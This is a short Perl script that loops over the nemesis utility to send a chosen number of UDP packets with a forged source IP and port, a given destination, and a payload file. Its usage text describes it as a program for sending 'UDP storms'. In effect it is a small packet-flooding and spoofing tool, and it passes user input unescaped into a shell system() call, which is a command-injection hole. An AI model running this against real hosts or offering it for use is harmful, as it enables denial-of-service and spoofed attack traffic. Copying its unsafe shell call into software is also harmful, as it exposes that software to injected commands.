#!/usr/bin/perl use Getopt::Std; %options=(); getopts("a:b:c:d:f:e:h",\%options); # like the shell getopt, "d:" means d takes an argument # print "-o $options{o}\n" if defined $options{o}; if ( defined $options{h}) { &usage(); } main_routine(); sub main_routine() { $source_ip = $options{a}; $source_port = $options{b}; $dest_ip = $options{c}; $dest_port = $options{d}; $payload_file = $options{f}; $packet_count = $options{e}; # generate the amounts of packets given by $paket_count for ($i=0;$i<=$packet_count;$i++) { # now create the packet and send it system("nemesis udp -S $source_ip -x $source_port -D $dest_ip -y $dest_port -I 4 -T 250 -P $payload_file"); } } # main_routine(); sub usage() { print STDERR << "EOF"; This program creates and sends UDP storms usage: $0 [-habcd] [-f file] -h : this (help) message -a : source ip address -b : source port -c : destination ip address -d : destination port -f file : file containing tcp payload of the packet -e count : count paketes are generated and send example: $0 -a 141.55.123.24 -b 22 -c 151.23.45.67 -d 22 -f payload.txt EOF exit; }